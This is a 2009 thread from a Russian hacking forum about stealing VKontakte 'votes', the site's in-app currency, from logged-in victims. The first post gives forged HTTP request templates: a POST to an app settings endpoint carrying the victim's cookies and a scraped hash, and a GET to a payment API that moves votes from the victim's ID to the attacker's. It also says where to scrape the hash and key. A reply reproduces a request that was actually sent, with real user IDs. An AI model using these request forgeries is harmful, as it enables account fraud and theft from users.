Тырим голоса вконтакта? О_о

Discussion in 'Уязвимости' started by Ponchik, 30 Aug 2009.

  1. Ponchik

    Ponchik Хлебо-булочное изделие

    Joined:
    30 Aug 2005
    Messages:
    687
    Likes Received:
    807
    Reputations:
    311
    Навеяно вот этой темой
    https://forum.antichat.ru/threadnav138188-1-10.html
    Тама ajax получает у вконтакта ID и запрашивает всю остальную инфу
    Так вот например приложение передачи голосов
    http://vkontakte.ru/app577176
    Чтоб положить в него голоса, вот такой пакет нужен
    приложение ненадо устанавливать на страницу или разрешать действия, не 1к голосов слил через него, проверено
    Code:
    POST http://vkontakte.ru/apps.php?act=a_settings HTTP/1.0
    Content-Type: application/x-www-form-urlencoded
    Host: vkontakte.ru
    Referer: http://vkontakte.ru/app577176
    Cookie: [COLOR=Red]куки[/COLOR]
    Proxy-Connection: Keep-Alive
    Content-Length: 84
    Content-Transfer-Encoding: binary
    
    app_id=[COLOR=YellowGreen]577176[/COLOR]&app_hash=[COLOR=YellowGreen]hash[/COLOR]&cn=0&caf=0&caph=0&caa=0&add=[COLOR=YellowGreen]99999999[/COLOR]&withdraw=0
    
    
    Верхняя часть пакета вместе с куками автоматически получается, т.к. жертва залогинена на вконтакте (vir2total получает имено так инфу)

    Потом сам контент
    app_id - ID приложения, всё понятно
    app_hash - хэш (если пасмареть HTML код паги, его можно увидеть)
    Code:
    ...
    var app_invited_text = 'Приглашения Вашим друзьям в это приложение успешно высланы.';
    var app_invited1_text = 'Приглашение успешно выслано.';
    var app_hash = '[COLOR=YellowGreen]hash[/COLOR]';
    var invite_used = 0;
    ....
    Я так понимаю через ajax можно "выпилить" этот хэш
    И add это кол-во голосов, указываем 99999 и он пополняет приложение на все голоса что есть на акке
    =========
    Для передачи голосов такой пакет
    Code:
    GET http://misc.roboxchange.com/External/VKontakte/API.ashx?APImethod=transferVotes&authKey=[COLOR=YellowGreen]ключ[/COLOR]&fromId=[COLOR=YellowGreen]ID жертвы[/COLOR]&Id=[COLOR=YellowGreen]ваш id [/COLOR]HTTP/1.0
    Host: misc.roboxchange.com
    Referer: http://cs252.vkontakte.ru/u9352882/961f3908269ce8.zip
    Proxy-Connection: Keep-Alive
    
    authKey - ключ, он также есть в HTML
    so.addVariable("auth_key", "ключ");
    =========
    Собстна вооот... Надеюсь все меня поняли? И ИМХО эта система будет работать, просто я в ajax'e не рублю а очень спать хочется, отпишитесь кто попробовал, катит, не катит

    шаман говорит что там инфа через флэшку выводится а не через ajax :rolleyes: в общем я хз, ну я своё ИМХО выложил, теперь пру спать
     
    #1 Ponchik, 30 Aug 2009
    Last edited: 30 Aug 2009
    14 people like this.
  2. wildshaman

    wildshaman Elder - Старейшина

    Joined:
    16 Apr 2008
    Messages:
    477
    Likes Received:
    483
    Reputations:
    99
    Какбэ кроссдоменные запросы JS не поддержиает -> страницу не отпарсить и хеш с аускеем не получить.
     
  3. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Профиксили, чтоли?
    Отправил
    Code:
    GET http://misc.roboxchange.com/External/VKontakte/API.ashx?APImethod=transferVotes&authKey=d77*****ab819438b2c3********91f&fromId=9352882&Id=34595285 HTTP/1.0
    Host: misc.roboxchange.com
    Referer: http://cs252.vkontakte.ru/u9352882/961f3908269ce8.zip
    Proxy-Connection: Keep-Alive
    инеткреком, получил "Жулик!!!!".
     
  4. Ponchik

    Ponchik Хлебо-булочное изделие

    Joined:
    30 Aug 2005
    Messages:
    687
    Likes Received:
    807
    Reputations:
    311
    МБ неверный authKey =\
    Я вот попробовал, всё норм
    А вот какраз указал неверный authKey говорит жулек :D
     
    #4 Ponchik, 30 Aug 2009
    Last edited: 30 Aug 2009
  5. zavra

    zavra Elder - Старейшина

    Joined:
    12 Mar 2008
    Messages:
    87
    Likes Received:
    48
    Reputations:
    23
    и как ты получишь хэш со страницы? для каждого id он разный, и вытянуть его через флеш нельзя, ибо стоит allowscriptaccess = false.
    нет, никак. только если разгадать алгоритм генерации этого самого хэша.
     
    1 person likes this.
  6. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Блин, а я свой хэш указывал =\
     
  7. Ponchik

    Ponchik Хлебо-булочное изделие

    Joined:
    30 Aug 2005
    Messages:
    687
    Likes Received:
    807
    Reputations:
    311
    zavra, ну через ajax, ведь vir2total так и получал данные ИМХО, но ещё раз говорю шаман сказал это было приложение в фрейме, но сайт в ддосе такчто я незнаю
     
  8. zavra

    zavra Elder - Старейшина

    Joined:
    12 Mar 2008
    Messages:
    87
    Likes Received:
    48
    Reputations:
    23
    приложение во фрейме = флешка? если да, то знаю как это сделано, но это ололо какой жестокий приват =)